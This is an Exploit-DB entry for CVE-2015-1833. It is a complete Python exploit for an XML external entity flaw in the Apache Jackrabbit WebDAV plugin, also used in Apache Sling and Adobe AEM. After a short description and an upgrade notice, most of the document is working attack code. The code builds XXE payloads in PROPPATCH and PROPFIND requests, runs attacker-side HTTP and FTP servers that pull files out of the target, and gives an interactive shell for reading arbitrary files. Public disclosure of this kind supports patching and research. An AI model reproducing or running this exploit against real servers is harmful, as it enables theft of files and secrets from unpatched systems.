Apache JackRabbit - WebDAV XML External Entity

EDB-ID:

37110




Platform:

Java

Date:

2015-05-26


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#!/usr/bin/env python
"""
# Exploit Title: Jackrabbit WebDAV XXE
# Date: 25-05-2015
# Software Link: http://jackrabbit.apache.org/jcr/
# Exploit Author: Mikhail Egorov
# Contact: 0ang3el () gmail com
# Website: http://0ang3el.blogspot.com
# CVE: CVE-2015-1833
# Category: webapps

1. Description

Jackrabbit WebDAV plugin use insecurely configured XML parser to parse
incoming PROPPATCH and PROPFIND requests. As a result it is vulnerable to
XXE attacks.
Besides Jackrabbit JCR, WebDAV plugin is incorporated into the following
software: Apache Sling, Adobe AEM.

2. Proof of Concept

Download vulnerable Apache Sling launchpad web application from here -
https://sling.apache.org

Start launchpad web application as follows:
root@kali:~/build-sling# java -jar
org.apache.sling.launchpad-8-SNAPSHOT-standalone.jar

Launch exploit with the following command:
root@kali:~# python cve-2015-1833.py --url http://127.0.0.1:8080/content/xxe
--tech oob --ip 127.0.0.1
enter command> get .

loaded 210 bytes in buffer

enter command> show

apache-maven-3.0.5
apache-maven-3.0.5-bin.tar.gz
derby.log
eclipse
hs_err_pid5379.log
org.apache.sling.launchpad-8-SNAPSHOT-standalone.jar
python-workspace

enter command> store /tmp/cwd.lst

buffer content has been stored in file /tmp/cwd.lst

enter command> exit
root@kali:~#

Exploit have three exploitation techniques:
* inb1 - inbound XXE technique, it first writes content as attribute value
of controllable JCR node using PROPPATCH request and then retrieves content
using PROPFIND request
* inb2 - same as inb1, but there is some XML magic to retrieve content that
is not valid XML data
* oob - out-of-bound technique, utilizes FTP hack from this blog
http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html
Technique inb2 is the most stable. But it requires credentials of the user
that is able to modify some JCR node. Attacker host must have "visible ip"
which is required for communication between target and attacker's host.
Technique oob works even with anonymous credentials. But it is not so
stable as inb2 technique.
Technique inb1 does not require "visible ip", but there are limitations on
retrieved content.

3. Solution:

If you use Apache Jackrabbit, install version 2.10.1.
http://www.apache.org/dist/jackrabbit/2.10.1/RELEASE-NOTES.txt
"""
from urllib2 import *
import sys, string, random
import base64
import xml.etree.ElementTree as ET
import BaseHTTPServer, SimpleHTTPServer
from multiprocessing import Process, Value, Manager
from optparse import OptionParser
import socket, select

usage= """
    %prog --url <url> --tech inb1 [ --creds <creds> ]
    
    %prog --url <url> --tech inb2 --ip <ip> [ --creds <creds> --hport <hport> ]
    
    %prog --url <url> --tech oob --ip <ip> [ --creds <creds> --hport <hport> --fport <fport>]
"""

help_interpreter = """
    help - print this help.
    
    get <dir or file> - retrieve directory listing or file content and store it inside internal buffer. You can use "." to denote current directory (e.g. use "get ." for cwd listing).
    
    show - show content of internal buffer.
    
    store <out file> - store internal buffer in file.
    
    exit - stop exploiting
    """
    
failure_descr = """
Possible reasons:
    1. Inappropriate technique, try another options.
    2. You do not have permissions to read file or list directory.
    3. Target is not exploitable.
"""
    
rand_attr = ''
script_name = sys.argv[0].split('/')[-1]

buffer_with_loot = ''

url, tech, ip, creds, hport, fport = [None] * 6

http_server, ftp_server = [None] * 2

class HTTP_XXE():
    def __init__(self, ip, port, fport):
        self.port = port
        self.ip = ip
        self.fport = fport
        
    def run(self):
        class http_handler(BaseHTTPServer.BaseHTTPRequestHandler):
            def __init__(self, ip, fport,*args):
                self.ip = ip
                self.fport = fport
                BaseHTTPServer.BaseHTTPRequestHandler.__init__(self, *args)
                
            def do_GET(self):
                if "inb2" in self.path:
                    self.send_response(200)
                    self.send_header('Content-type','application/xml')
                    self.end_headers()
                    self.wfile.write('<?xml version="1.0" encoding="utf-8"?><!ENTITY all "%start;%loot;%end;">')
                    
                if "oob" in self.path:
                    self.send_response(200)
                    self.send_header('Content-type','application/xml')
                    self.end_headers()
                    self.wfile.write('<?xml version="1.0" encoding="utf-8"?><!ENTITY %% all "<!ENTITY &#37; send SYSTEM "ftp://%(ip)s:%(port)s/%%loot;">">%%all;' % {'ip' : self.ip, 'port' : self.fport})
                    
            def log_message(self, format, *args): # silent HTTP server
                return
                               
        def serve(httpd):
            while True:
                httpd.handle_request()
        
        handler = lambda *args: http_handler(self.ip, self.fport, *args)    
        httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', self.port), handler)
        self.proc = Process(target = serve, args = (httpd,))
        self.proc.start()
            
    def stop(self):
        self.proc.terminate()
    
class FTP_XXE():
    def __init__(self, port):
        self.port = port
        
    def run(self):
        class ftp_handler():
            def __init__(self, port):
                self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                self.server.setblocking(0)
                self.server.bind(('0.0.0.0', port))
                self.server.listen(5)
                
            def serve(self, d):
                inputs = [self.server]
                while True:
                    readable, writable, exceptional = select.select(inputs, [], [])
                    
                    for s in readable:
                        if s is self.server:
                            connection, client_address = s.accept()
                            connection.setblocking(0)
                            inputs.append(connection)
                            
                            connection.send("220 xxe-ftp-server\n")
                        else:
                            data = s.recv(1024)
                            
                            if not data:
                                inputs.remove(s)
                                continue
                            
                            if "USER" in data:
                                s.send("331 password please - version check\n")
                            else:
                                s.send("230 more data please!\n")
                                if not len([x for x in ["PASS","EPSV","EPRT","TYPE"] if x in data]):
                                    d['loot'] += data
        
        self.d = Manager().dict()
        self.d['loot'] = ''
                               
        ftpd = ftp_handler(self.port)
        self.proc = Process(target = ftpd.serve, args=(self.d,))
        self.proc.start()
    
    def stop(self):
        self.proc.terminate()
        
    def clean_buf(self):
        self.d['loot'] = ''
        
    def get_loot(self):
        loot = self.d['loot']
        
        # clean data
        loot = loot.replace('\r\nRETR ','/')
        loot = loot.replace('\r\nCWD ','/')
        loot = loot.replace('CWD ','',1)
        loot = loot.replace('RETR ','',1)
        
        return loot
            
def exploit(url, technique, creds = 'anonymous:anonymous'):
    
    global buffer_with_loot, rand_attr
    
    requests = {
        'inb1' : {
            'PROPPATCH' : '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE propertyupdate [ <!ENTITY loot SYSTEM "%(file)s"> ]> <D:propertyupdate  xmlns:D="DAV:"> <D:set> <D:prop>  <%(attr_name)s>&loot;</%(attr_name)s> </D:prop> </D:set> </D:propertyupdate>',
            'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>'
        },
                
        'inb2' : {
            'PROPPATCH' : '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE propertyupdate [ <!ENTITY %% start "<![CDATA["> <!ENTITY %% loot SYSTEM "%(file)s"> <!ENTITY %% end "]]>"> <!ENTITY %% dtd SYSTEM "http://%(ip)s:%(port)s/inb2"> %%dtd; ]> <D:propertyupdate  xmlns:D="DAV:"> <D:set> <D:prop>  <%(attr_name)s>&all;</%(attr_name)s> </D:prop> </D:set> </D:propertyupdate>',
            'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>'
        },
                
        'oob' : {
            'PROPFIND': '<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE propfind [ <!ENTITY %% loot SYSTEM "%(file)s"> <!ENTITY %% dtd SYSTEM "http://%(ip)s:%(port)s/oob"> %%dtd; %%send;  ]> <D:propfind xmlns:D="DAV:"> <allprop/> </D:propfind>'
        }
    }
     
    def request(url, verb, data, creds, timeout):
        req = Request(url, data)
        req.add_header('User-Agent', script_name)
        req.add_header('Content-Type', 'application/xml')
        req.add_header('Authorization', 'Basic ' + base64.b64encode(creds))
        req.get_method = lambda: verb
        
        #req.set_proxy('127.0.0.1:8081','http')  ### For debug
        
        resp = None
        try:      
            resp =  urlopen(req, timeout = timeout).read()
        except Exception, e:
            pass
        
        return resp
        
    while 1:
        cmdline = raw_input('\033[33menter command> \033[0m')
        cmdline = re.sub('\s+', ' ', cmdline)
        cmd = cmdline.split(' ')[0]
        arg = cmdline.split(' ')[-1]
        
        if cmd not in ['help', 'get', 'show', 'store', 'exit']:
            print '\n\033[36mno such command, use help for command list \033[0m\n'
            continue
        
        if cmd == 'exit':
            break
        
        if cmd == 'help':
            print '\033[36m' + help_interpreter + '\033[0m'
            continue
        
        if cmd == 'show':
            print '\n\033[36m' + buffer_with_loot + '\033[0m'
            continue
        
        if cmd == 'store':
            with open(arg,'w') as outf:
                outf.write(buffer_with_loot)
                
            print '\n\033[32mbuffer content has been stored in file ' + arg + '\033[0m\n'
            continue
        
        if cmd == 'get':
            if arg.startswith('.'):
                arg = '/proc/self/cwd' + arg[1:]
            arg = 'file://' + arg
            
            rand_attr = ''.join([random.choice(string.ascii_lowercase) for i in range(10)]) ### random attribute name where we place content
            
            if technique == 'inb1':
                request1 = requests['inb1']['PROPPATCH'] % {'attr_name' : rand_attr, 'file' : arg}
                request(url, 'PROPPATCH', request1, creds, timeout = 30)
                
                request2 = requests['inb1']['PROPFIND']
                loot = request(url, 'PROPFIND', request2, creds, timeout = 30)
                
                try:
                    buffer_with_loot = ET.fromstring(loot).findall('.//' + rand_attr)[0].text
                except:
                    buffer_with_loot = ''
                                  
            if technique == 'inb2':
                request1 = requests['inb2']['PROPPATCH'] % {'attr_name' : rand_attr, 'file' : arg, 'ip' : ip, 'port' : hport}
                request(url, 'PROPPATCH', request1, creds, timeout = 30)
                
                request2 = requests['inb2']['PROPFIND']
                loot = request(url, 'PROPFIND', request2, creds, timeout = 30)
                
                try:              
                    buffer_with_loot = ET.fromstring(loot).findall('.//' + rand_attr)[0].text.replace('<[CDATA[','').replace(']]>','')
                except:
                    buffer_with_loot = ''
                    
            if technique == 'oob':
                request1 = requests['oob']['PROPFIND'] % {'file' : arg, 'ip' : ip, 'port' : hport}
                request(url, 'PROPFIND', request1, creds, timeout = 8)

                buffer_with_loot = ftp_server.get_loot()
                
                ftp_server.clean_buf()
                             
            len_ = sys.getsizeof(buffer_with_loot) - sys.getsizeof('')
            print "\n\033[32mloaded %s bytes in buffer\033[0m\n" % len_
            if not len_:
                print '\033[36m' + failure_descr + '\033[0m'
                
            continue

def parse_options():
    global url, tech, ip, creds, hport, fport
    
    parser = OptionParser(usage = usage)
    parser.add_option('--url', dest = url, help = 'url parameter')
    parser.add_option('--tech', dest = tech, help = 'technique, valid values are: inb1, inb2, oob')
    parser.add_option('--creds', dest = creds, help = 'user credentials, default value is anonymous:anonymous')
    parser.add_option('--ip', dest = ip, help = 'ip address of netw interface that your target is able to access')
    parser.add_option('--hport', dest = hport, help = 'port for HTTP server which will be launched during attack, default is 9998')
    parser.add_option('--fport', dest = fport, help = 'port for FTP server which will be launched during attack, default is 9999')
    
    (options, args) = parser.parse_args()
    
    if not options.url or not options.tech:
        print 'you must specify url and tech parameters'
        sys.exit(2)
        
    if options.tech not in ['inb1', 'inb2', 'oob']:
        print 'invalid tech parameter'
        sys.exit(2)
        
    if options.tech != 'inb1' and not options.ip:
        print 'you must specify ip parameter'
        sys.exit(2)
        
    url = options.url
    tech = options.tech
    ip = options.ip
    creds = options.creds if options.creds else 'anonymous:anonymous'
    hport = options.hport if options.hport else 9998
    fport = options.fport if options.fport else 9999

parse_options()

if tech != 'inb1':  
    http_server = HTTP_XXE(ip, hport, fport)
    http_server.run()
    
    if tech == 'oob':
        ftp_server = FTP_XXE(fport)
        ftp_server.run()
    
exploit(url, tech, creds)

if tech != 'inb1': 
    http_server.stop()
    
if tech == 'oob':
    ftp_server.stop()